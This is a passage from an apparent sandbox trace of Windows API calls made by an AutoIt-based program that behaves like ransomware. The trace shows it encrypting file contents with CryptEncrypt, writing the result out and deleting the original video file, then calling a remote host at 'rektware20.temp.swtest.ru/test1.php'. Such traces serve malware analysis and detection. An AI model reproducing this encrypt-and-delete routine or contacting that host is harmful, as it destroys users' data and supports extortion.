cchWideChar=13, lpMultiByteStr=0x1621900, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.762] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.762] CryptEncrypt (in: hKey=0x164c6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xede8, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xedf0) returned 1 [0066.762] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.762] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.762] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.762] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.762] CharLowerBuffW (in: lpsz="byte[60913]", cchLength=0xb | out: lpsz="byte[60913]") returned 0xb [0066.763] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.764] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.765] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.765] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.765] CryptEncrypt (in: hKey=0x164c6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xede8, dwBufLen=0xedf0 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xedf0) returned 1 [0066.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.766] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.766] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.766] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.766] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.766] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.766] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.766] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.767] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.767] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.767] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.772] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.773] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.773] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.773] WriteFile (in: hFile=0x2ac, lpBuffer=0x181b100*, nNumberOfBytesToWrite=0xedf0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x181b100*, lpNumberOfBytesWritten=0x130f01c*=0xedf0, lpOverlapped=0x0) returned 1 [0066.775] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.775] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.775] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.775] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.775] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.775] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.775] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.776] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.776] CryptDestroyKey (hKey=0x164c6f0) returned 1 [0066.776] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.776] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.776] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.776] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.776] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.776] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.776] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.776] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.776] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.776] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.776] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.776] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.777] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.777] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.777] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.777] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.777] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.777] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.777] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.777] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.777] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.778] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.779] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.779] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.779] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.779] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.779] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.779] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.779] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.779] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.779] CryptReleaseContext (hProv=0x17aabc0, dwFlags=0x0) returned 1 [0066.779] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.780] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.780] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.780] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.780] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.780] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.780] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.780] CloseHandle (hObject=0x3bc) returned 1 [0066.780] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.780] CloseHandle (hObject=0x2ac) returned 1 [0066.785] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.785] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.785] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", lpFilePart=0x0) returned 0x3c [0066.785] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rf6-cq.mp4")) returned 0x20 [0066.785] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0066.786] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rf6-cq.mp4")) returned 1 [0066.790] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.790] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0066.790] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.791] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0066.791] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.791] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.791] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.791] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.791] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.791] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c) returned 1 [0066.791] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.791] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.791] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.792] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.792] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.792] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.792] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.792] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.792] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.793] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.793] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.793] CloseHandle (hObject=0x0) returned 0 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW 